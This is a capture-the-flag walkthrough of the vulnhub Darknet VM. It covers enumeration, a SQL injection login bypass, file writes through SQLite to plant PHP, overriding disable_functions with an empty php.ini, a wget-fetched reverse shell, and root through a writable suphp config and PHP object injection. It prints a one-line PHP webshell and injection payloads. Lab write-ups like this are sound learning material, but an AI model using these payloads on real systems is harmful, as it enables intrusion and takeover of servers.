This is my writeup of the Darknet boot2root VM from vulnhub.com.
I enjoyed Darknet as it was a VM focused on Linux System configuration and WebApp flaws. Lately there have been a lot of application exploitation and reverse engineering challenges on vulnhub which are not my strong suite so I very enjoyed darknet.
It still was quite challenging and I learned a ton new stuff and techniques (even tough I skipped a challenge)!
1. basic enumeration
After the VM is set up with bridged network and finished booting up I identified it with Nmap:
root@kali:~# nmap -sn 192.168.0.0/24
Nmap scan report for 888.darknet.com (192.168.0.70)
Host is up (-0.077s latency).
The first thing after identifying the VMs IP Address was scanning it with Nmap:
With this result I decided to go after the Webserver first because from experience with Boot2Root VMs the Webserver takes almost always part in the exploitation process (going after the low hanging fruits first).
First Step with a Webserver should be just looking at the Website it serves imho, before starting to wildly shoot tools at it!
Some nice splash page! But no hint in this page or its sourcecode:
Before using any automated tool I checked for a robots.txt manually, as this often gives a clue:
Not this time… So I ran nikto against the webserver:
root@kali:~# nikto -h 192.168.0.70
- Nikto v2.1.6
+ Target IP: 192.168.0.70
+ Target Hostname: 192.168.0.70
+ Target Port: 80
+ Start Time: 2015-08-16 06:48:49 (GMT-4)
+ Server: Apache/2.2.22 (Debian)
+ Server leaks inodes via ETags, header found with file /, inode: 46398, size: 378, mtime: Mon Mar 23 02:10:38 2015
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ Cookie PHPSESSID created without the httponly flag
+ Retrieved x-powered-by header: PHP/5.4.39-0+deb7u1
+ OSVDB-3268: /access/: Directory indexing found.
+ OSVDB-3092: /access/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 9157 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time: 2015-08-16 06:49:04 (GMT-4) (15 seconds)
+ 1 host(s) tested
When nikto tells you something might be interesting its always worth checking it out:
A backup file! You should always look for those as they often contain valueable information that is not supposed to be accessible by the enduser! Interesting extensions to search for are: backup,bak,old,alt
FYI: Nessus has a plugin dedicated to search for Website Backups. If you dont want to run nessus you can manually append those extensions to the known pages and run dirb with dictionaries and append those extensions (dirb -x extensions-list.txt URL DICT).
Also note that this file discloses a local Username: devnull and the fact that the vhosts html directory is located in the home directory of this user!
So this Webserver likely hosts at least two different websites in different directories!
2. entering the deep dark web
So I grabbed and looked at the backup file:
An apache vhost configuration file. So by requesting an DNS Name as URL I will probably get a different page! So lets add the DNS Name to the hosts file:
root@kali:~/vulnhub/darknet# echo "192.168.0.70 888.darknet.com" >> /etc/hosts
And look at the Website:
A Login Page!
Everything turned CSI Cyber from here quickly (jk) ;)
The first thing with such login pages that comes to my mind is playing around with SQLi.
By entering “test:test” you can determine the normal behavior:
A simple “Fail” message.
Testing the Basic SQLi things you will notice that “test’:test” will provoke a different behavior:
This looks interesting! But with a little testing I could find out that this is just the md5 of the entered password:
root@kali:~/vulnhub/darknet# echo -n "test" | md5sum
Maybe this could be a lead or maybe this is just to mislead…
I have to be honest that I did this stage of the VM simultaneously with a couple of friends and one of them (props oboro!) found the SQLi Authentication bypass first:
Entering “devnull’ or ‘1” as a username and any random password will bypass the Authentication:
This looks like a way to issue SQL commands to the SQL Server directly. Databases are always very interesting because they could allow you to execute code directly on the server or allow to write files to the server (outfile functions) which in turn could give the possibility to execute code on the server (php for example)!
The hard part is that this form gives no error messages (blind) and you don’t know which database backend ist present (blind^2).
I will again be honest and tell that after fiddling around a lot and trying numerous sqlmap runs I took a peek at another Darknet writeup to learn this is a SQLite backend.
With this information I did some research and found this article:
So a basic outfile should be achieved by this SQL query:
ATTACH DATABASE '/home/devnull/public_html/test.php' as pwn;
CREATE TABLE pwn.shell (code TEXT);
INSERT INTO pwn.shell (code) VALUES ("test");
After testing and googeling arround alot (and maybe taking another peak at an existing writeup ¯\_(ツ)_/¯) I found out that this is may be a permission problem and the database is not allowed to write in the specified directory.
To find some alternatives I fired up dirb:
So lets test:
Even tough it feels like (and probably is) cheating to take a peek at other writeups it still feels good when the attack is working in the end. And I think its always better to cheat and learn from it than to give up…
Now with the possibility to write to the disk I immediately thought I could easily get a php shell!
So maybe the Webserver is hardened against simple php backdoors. Lets take a look at the php config by injecting a phpinfo.php with the following SQL command:
PHP a hackers dream!
Scrolling down a bit to find the following setting:
disable_functions = system, eval, shell_exec, passthru, popen, proc_open, escapeshellarg, escapeshellcmd, exec, proc_close, proc_get_status, proc_nice, proc_terminate, pcntl_exec system, eval, shell_exec, passthru, popen, proc_open, escapeshellarg, escapeshellcmd, exec, proc_close, proc_get_status, proc_nice, proc_terminate, pcntl_exec
So thats why the php backdoor did not work. Encountering this the first time on a boot2root VM I did some google research and found out that there is actually a command to alter the php.ini setting within php code itsel (how great is that?!?!):
So I tried to leverage this to get a shell and set disable_functions to 0 before running shell_exec:
But this still failed me:
But notice how we now get Error messages!
After some more research on the web I found a hint, that it might be possible to place a new php.ini file inside the dir from where the php files are beeing loaded (/home/devnull/public_html/img/ in this case).
So I tried to place an empty php.ini there:
And checked the backdoor again:
3. We’ve got shell!
With a working php backdoor it is now easy to establish a reverse shell:
Sending a wget command to grab my prefered reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl on kali):
Makes my access.log happy:
Now I can just start listening and catch the reverse shell:
I love the moment when the first shell drops in :)
Nothing beats a reverse shell for target enumeration and privesc imho!
4. Privesc all the things!
With a limited reverse shell privilege escalation to root is the next goal.
What I always do when I get a limited shell is transferring one or all of my three linux-privesc friends:
Here are some interesting parts of the findings from LinEnum.sh:
Sample entires from /etc/passwd (searching for uid values 0, 500, 501, 502, 1000, 1001, 1002, 2000, 2001, 2002):
Can we read/write sensitive files:
-rw-r--r-- 1 root root 1007 Apr 20 13:51 /etc/passwd
-rw-r--r-- 1 root root 586 Mar 21 04:51 /etc/group
-rw-r--r-- 1 root root 851 Jul 29 2011 /etc/profile
-rw-r----- 1 root shadow 942 Apr 20 13:15 /etc/shadow
And here an interesting find from linuxprivchecker.py:
[+] World Writable Files
-rwxrwxrwx 1 root root 869 Apr 26 13:24 /etc/suphp/suphp.conf
Never having had any contact with suphp before and finding its config file world writeable I did some research and found the following introduction on its website: http://www.suphp.org/
“suPHP is a tool for executing PHP scripts with the permissions of their owners. It consists of an Apache module (mod_suphp) and a setuid root binary (suphp) that is called by the Apache module to change the uid of the process executing the PHP interpreter.”
So because suPHP runs PHP scripts with the permissions of their owners I became user devnull when exploiting the SQL Admin interface:
$ ls -lisah /home/devnull/public_html/main.php
46516 4.0K -rw------- 1 devnull devnull 643 Mar 23 00:35 /home/devnull/public_html/main.php
So a possible privesc path would be to find a php file owned by root and somehow try to exploit it to get a root shell!
So lets look for such files:
$ find / -user root -name "*.php" | grep -v "Permission denied"
find: `/proc/tty/driver': Permission denied
find: `/proc/1/task/1/fd': Permission denied
find: `/proc/1/task/1/fdinfo': Permission denied
... a lot more Permission denied...
Okay that looks interesting. Lets take a loot at /var/www/:
$ cd /var/www
$ ls -la
drwxr-xr-x 4 root root 4096 Apr 26 13:25 .
drwxr-xr-x 12 root root 4096 Mar 21 16:50 ..
drwxr-xr-x 2 root root 4096 Apr 26 11:22 Classes
drwxr-xr-x 2 root root 4096 Mar 23 03:33 access
-rw-r--r-- 1 root root 378 Mar 23 03:10 index.html
-rw-r--r-- 1 root root 157 Apr 26 11:21 sec.php
$ ls -la Classes
drwxr-xr-x 2 root root 4096 Apr 26 11:22 .
drwxr-xr-x 4 root root 4096 Apr 26 13:25 ..
-rw-r--r-- 1 root root 163 Apr 26 11:22 Show.php
-rw-r--r-- 1 root root 319 Apr 26 11:27 Test.php
$ ls -la access
drwxr-xr-x 2 root root 4096 Mar 23 03:33 .
drwxr-xr-x 4 root root 4096 Apr 26 13:25 ..
-rw-r--r-- 1 root root 176 Mar 23 03:31 888.darknet.com.backup
This looks familiar! This is the default www basedir from apache that we grabbed the backup file from before!
And we have root owned php files there! The exact thing we were looking for! Lets take a look at sec.php:
The function unserialize gets passed a user controlled value!
This smells like a possible injection!
To leverage this information I needed to read up on the unserialize function first tough, as this was as well something I never came into contact with before:
Okay I can restore PHP objects and I can see some Class functions inside Classes/Test.php
So lets query OWASP on how we can exploit this:
Okay that doesn’t sound too hard!
First I started with opening sec.php in a browser:
For some reason Apache is not happy with opening the sec.php file!
But remember we can read and write the /etc/suphp/suphp.conf file (which is very suspicious)!
So lets take a look at it:
$ cat /etc/suphp/suphp.conf
;Path to logfile
;User Apache is running as
;Path all scripts have to be in
;Path to chroot() to before executing script
; Security options
;Check wheter script is within DOCUMENT_ROOT
;Send minor error messages to browser
;PATH environment variable
;Umask to set, specify in octal notation
; Minimum UID
; Minimum GID
;Handler for php-scripts
;Handler for CGI-scripts
And find some explanation of the settings here:
Minimum UID allowed to execute scripts.
Defaults to compile-time value.
Minimum GID allowed to execute scripts.
Defaults to compile-time value.
The Apache 500 error did not hint at the root cause however this clearly should prevent us from trying what we are doing:
running php files from uid/gid 0 (root)
So lets alter those lines:
$ cp /etc/suphp/suphp.conf /tmp
$ sed -i -e 's/min_uid=100/min_uid=0/g' /tmp/suphp.conf
$ sed -i -e 's/min_gid=100/min_gid=0/g' /tmp/suphp.conf
$ cp /tmp/suphp.conf /etc/suphp/suphp.conf
And try the page again:
Blank Page \o/ Time to Burp!
Intercepting the Request with Burp:
And sending it to the Repeater (by clicking on Action -> Send to Repeater):
Now we can fiddle arround with the requests!
A first test after reading the owasp Article (https://www.owasp.org/index.php/PHP_Object_Injection) was using an online service to serialize some text and inserting it with burp:
Okay now lets look at sec.php again:
It accepts a POST Parameter called “test” so lets provide the online serialized string with burp:
Okay so basic injection from the outside is possible!
Notice in the above sec.php function that the unserialized Object/String will be printed.
So how can we exploit this?! Lets read the OWASP article again and take a closer look at the Classes/Show.php (again):
So sec.php requires (includes) Show.php which in turn contains code for the Show Class. So when we unserialize an Object of the Class “Show” we should be able to trigger the return value “Showme”.
This part is a bit tricky to figure out and I guess thats a reason why the Show.php was included, because it starts with only one public variable.
So based on what I read in the OWASP article I sent the following Object:
And Burp made me a happy man:
Okay now that we understand the basic interaction with PHP Objects thorugh the unserialize function lets take a look at the Classes/Test.php file again:
So this file was clearly put here for the purpose of privesc escalation!
We already determined above that it is owned by root, so everything it does will be done in the context of root.
If we create (unserialize) an Object of the Class “Test” it will call the __destruct() function eventually with the public variables $url, $name_file and $path which we can control when passing the serialized object via burp!
After playing around a bit I finally arrived at the following serialized object string:
Let me explain this a bit more from my limited perspective:
-> This will tell PHP to restore an Object from the Class “Test” with 6 “Fields (3xVariables + 3xContent)”
-> This tells PHP that there is variable from type string (s) whose name is 3 digits long and called “url”.
The Content of this variable is also from type string and 35 digits long. Its content is the URL pointing to a php backdoor on my kali webserver with a txt extension so that my webserver will not interpret it!
-> This tells PHP that there is a second variable from type string (s) whose name is 9 digits long and called “name_file”. Its content is “phpbackdoor.php” (15 digits long).
-> This finally tells PHP that there is a third variable from type string (s) whose name is 4 digits long and its content is “/var/www” (8 digits long).
4. got root?!
So before running this with burp lets place the phpbackdoor.txt on the Webserver of my kali box (Notice the escape of the $_GET with a \ !!!):
root@kali:~# echo "<?php error_reporting(E_ALL); ini_set('display_errors', 1); ini_set('disable_functions', 0); echo(shell_exec(\$_GET['c'])); ?>" > /var/www/html/phpbackdoor.txt
Now lets send our serialized PHP Object to the sec.php script with burp:
Watching the apache access log and getting excited:
And into the browser:
Oh noes! One last obstacle in our way! Good thing we already know that we just need to place an empty php.ini in the www dir to override the original php.ini!
So lets place an empty file on our webserver:
root@kali:~# echo "" > /var/www/html/empty.txt
And one final burp (watch the length of the strings change!):
And lets try our php backdoor again:
Now to get an interactive rootshell I just started a reverse listener and called the previously dropped /tmp/prshell.pl:
6. Final toughts
Thanks to q3rv0 for this awesome VM and oportunity to learn new techniques!
Also I quietly skipped a major Challenge of this VM (Remember User errorlevel?).
If you want to learn about xml and XPath exploitation you should definitely take a look at /etc/apache2/sites-available and/or the other writeups for darknet on vulnhub!!!
And finally props to #vulnhub!